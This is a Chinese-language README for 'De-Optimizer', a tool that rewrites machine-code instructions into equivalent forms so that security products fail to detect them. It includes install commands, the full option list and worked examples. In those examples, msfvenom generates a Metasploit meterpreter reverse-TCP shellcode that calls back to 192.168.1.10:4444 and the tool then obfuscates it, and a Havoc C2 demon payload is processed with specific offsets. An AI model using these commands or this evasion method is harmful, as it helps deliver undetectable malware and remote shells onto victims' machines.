De-Optimizer
这个工具是一个机器代码反优化器。通过将机器代码指令转换/变异为其功能等效项,它可以绕过安全产品使用的基于模式的检测机制。
为什么?
绕过安全产品是许多攻击性安全评估中非常重要的一部分。目前各种不同规避工具(如打包器、shellcode编码器和混淆器)中使用的大多数AV规避技术都依赖于在RWE内存区域上运行的自修改代码。考虑到当前安全产品的状态,此类规避尝试很容易被内存分析工具(如Moneta和Pe-sieve)检测到。本项目引入了一种新的代码混淆方法,即使用机器代码反优化。它使用某些数学方法(如算术分割、逻辑反转、多项式转换和逻辑分割)来转换/变异目标二进制文件的指令,而不会创建任何可识别的模式。该工具能够使用上述反优化技巧将给定二进制文件的指令转换高达约95%。
观看演示以了解更多...
安装
在这里下载预构建的发布二进制文件。
从源代码安装
cargo install deoptimizer
Docker安装
docker run -it egee/deoptimizer -h
使用方法
[!警告]
该项目仍处于开发阶段!可用的转换小工具、函数和命令行参数名称可能会进行调整,不保证向后兼容性。
用法: Deoptimizer [选项]
选项:
-a, --arch <架构> 目标架构(x86/arm)[默认:x86]
-f, --file <文件> 目标二进制文件名 [默认:]
-o, --outfile <输出文件> 输出文件名 [默认:]
-s, --source <源文件> 源汇编文件 [默认:]
--syntax <语法> 汇编器格式化语法(nasm/masm/intel/gas)[默认:keystone]
-b, --bitness <位数> 二进制文件的位数(16/32/64)[默认:64]
-A, --addr <地址> 十六进制形式的起始地址 [默认:0x0000000000000000]
--skip-offsets <跳过偏移>... 跳过反优化的文件偏移范围(例如:0-10 表示跳过前十个字节)
--no-trace 不对给定的二进制文件执行控制流追踪
-c, --cycle <周期> 反优化周期总数 [默认:1]
-F, --freq <频率> 反优化频率 [默认:0.5]
--transforms <变换> 允许的变换例程(ap/li/lp/om/rs)[默认:ap,li,lp,om,rs]
--allow-invalid 允许处理无效指令
-v, --verbose 详细输出模式
--debug 调试输出模式
-h, --help 打印帮助信息
-V, --version 打印版本信息
示例
- 生成并反优化64位Metasploit反向TCP shellcode
```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -o shellcode
deoptimizer -b 64 -F 1 -f /tmp/shellcode
[!警告]
某些shellcode可能包含必须跳过的字符串和其他静态数据值!默认情况下,反优化器将执行简单的控制流追踪以检测代码路径并自动跳过可能的数据偏移。自动追踪对小型shellcode效果良好。(已测试所有Metasploit的windows/*/meterpreter/*
shellcode)然而,由于这项任务的复杂性,对于一些大型/复杂的shellcode,追踪可能会跳过过多内容或完全失败。
在这种情况下,建议使用--no-trace
参数禁用追踪器。没有追踪器时,需要使用--skip-offsets
参数手动指定字符串偏移。
Havoc框架生成的shellcode是这种用例的良好示例。Havoc框架生成包含完整DLL文件和PE加载器的大型shellcode。以下示例展示了如何跳过Havoc shellcode的DLL部分。
deoptimizer -F 1 --no-trace --skip-offsets 0x46F-0x18BFF -f havoc_demon.x64.bin -o shellcode
# 这些偏移目前对所有Havoc shellcode似乎都是稳定的。但建议验证偏移。
当前支持的架构
- ✅
支持
- 🚧
进行中
- ❌
不支持
架构 | 32位 | 64位 |
---|---|---|
x86 | ✅ | ✅ |
ARM | ❌ | 🚧 |
RISCV | ❌ | 🚧 |
待办事项
- PE文件支持
- ELF文件支持
- Mach-O文件支持
- ARM架构支持
- RISC5架构支持